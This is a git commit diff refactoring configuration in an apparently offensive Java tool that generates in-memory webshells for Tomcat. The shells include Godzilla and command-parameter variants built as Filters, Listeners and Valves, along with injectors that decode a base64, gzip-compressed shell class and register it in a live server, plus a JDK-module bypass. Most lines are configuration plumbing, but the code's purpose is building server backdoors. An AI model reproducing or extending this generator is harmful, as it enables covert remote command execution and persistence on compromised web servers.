refactor: separate generate config

This commit is contained in:
ReaJason
2024-12-07 01:49:12 +08:00
parent 85576ab6c7
commit ffbe1e454b
34 changed files with 387 additions and 518 deletions
@@ -1,13 +1,10 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import net.bytebuddy.jar.asm.Opcodes;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
@@ -15,34 +12,27 @@ import java.nio.file.Paths;
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.JAKARTA_FILTER;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("passFilter")
.key("keyFilter")
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.TOMCAT)
.shellTool(ShellTool.Godzilla)
.shellType(TomcatShell.LISTENER).build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass123")
.key("key123")
.headerName("User-Agent")
.headerValue("test")
.build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
if (generateResult != null) {
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
if (bytes != null) {
System.out.println(new String(bytes));
}
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
switch (server) {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getServer()) {
case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
case BES:
break;
case RESIN:
@@ -52,6 +42,14 @@ public class GeneratorMain {
default:
throw new IllegalArgumentException("Unsupported server");
}
return GenerateResult.builder().build();
return null;
}
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getPacker().pack(generateResult);
}
return null;
}
}
@@ -12,7 +12,7 @@ import lombok.experimental.SuperBuilder;
@Getter
@SuperBuilder
@ToString
public class CommandShellConfig extends ShellConfig {
public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = "cmd";
}
@@ -9,7 +9,7 @@ import org.apache.commons.codec.binary.Base64;
* @since 2024/11/24
*/
@Data
@Builder
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
@@ -18,10 +18,19 @@ public class GenerateResult {
private transient byte[] injectorBytes;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public GenerateResult encodeBase64() {
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
return this;
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
}
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -13,7 +13,7 @@ import lombok.experimental.SuperBuilder;
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class GodzillaShellConfig extends ShellConfig {
public class GodzillaConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
@@ -22,4 +22,4 @@ public class GodzillaShellConfig extends ShellConfig {
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author ReaJason
* @since 2024/12/5
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(toBuilder = true)
public class InjectorConfig {
/**
* 注入器模板类
*/
private Class<?> injectorClass;
/**
* 注入器类名
*/
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 注入访问的地址
*/
@Builder.Default
private String urlPattern = "/*";
/**
* 内存马类名
*/
private String shellClassName;
/**
* 内存马类字节
*/
private byte[] shellClassBytes;
}
@@ -1,28 +1,60 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/11/24
* @since 2024/12/6
*/
@Data
@SuperBuilder
@NoArgsConstructor
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class ShellConfig {
@Builder.Default
private String shellClassName = CommonUtil.generateShellClassName();
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
@Builder.Default
private String urlPattern = "/*";
/**
* 目标服务类型
*/
Server server;
/**
* 内存马功能
*/
ShellTool shellTool;
/**
* 内存马类型
*/
String shellType;
/**
* 生成类的目标 JDK 版本
*/
@Builder.Default
private int targetJdkVersion = Constants.DEFAULT_VERSION;
}
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/**
* 是否开启调试
*/
@Builder.Default
private boolean debug = false;
public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta");
}
public boolean needByPassJdkModule() {
return targetJdkVersion >= Opcodes.V9;
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
public class ShellToolConfig {
/**
* 模板类 shellClass
*/
private Class<?> clazz;
/**
* shellClass 的类名
*/
@Builder.Default
private String className = CommonUtil.generateShellClassName();
}
@@ -1,14 +1,14 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
/**
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
*/
public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
* @since 2024/11/23
*/
public class GodzillaGenerator {
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName);
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
public class InjectorGenerator {
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
}
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
String base64String = Base64.encodeBase64String(
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
.replace(System.lineSeparator(), "");
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectClass)
.name(injectClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
if (targetJdkVersion >= Opcodes.V9) {
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJdkModule()) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
@@ -44,4 +44,4 @@ public class InjectorGenerator {
return make.getBytes();
}
}
}
}
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import lombok.SneakyThrows;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
@@ -66,55 +65,48 @@ public class TomcatShell {
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
boolean useJakarta = shellType.startsWith(JAKARTA);
switch (shellTool) {
switch (shellConfig.getShellTool()) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
godzillaConfig.getShellClassName(),
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue(),
useJakarta,
targetJdkVersion
);
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
break;
}
case Command: {
classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(),
commandConfig.getParamName(), useJakarta, targetJdkVersion);
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
break;
}
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
Class<?> injectorClass = classPair.getRight();
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern(),
targetJdkVersion);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(shellConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.shellConfig(shellConfig)
.build().encodeBase64();
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorBytes(injectorBytes)
.build();
}
}
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName;
public String paramName = "{{paramName}}";
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName;
public String paramName = "{{paramName}}";
public CommandListener() {
}
@@ -15,7 +15,7 @@ import java.io.InputStream;
public class CommandValve implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String paramName;
public String paramName = "{{paramName}}";
public CommandValve() {
}
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
public String key;
public String pass;
public String md5;
public String headerName;
public String headerValue;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaFilter() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String md5;
public String pass;
public String key;
public String headerName;
public String headerValue;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaListener() {
}
@@ -17,11 +17,11 @@ import java.io.IOException;
public class GodzillaValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String key;
public String pass;
public String headerName;
public String headerValue;
public String md5;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaValve() {
}
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
}
public String getUrlPattern() {
return "/*";
return "{{urlPattern}}";
}
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static byte[] decodeBase64(String base64Str) throws Exception {
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
public class TomcatListenerInjector {
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static {
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatValveInjector {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static {
new TomcatValveInjector();
}
@@ -17,6 +17,7 @@ public class ClassUtils {
}
@SneakyThrows
@SuppressWarnings("deprecation")
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();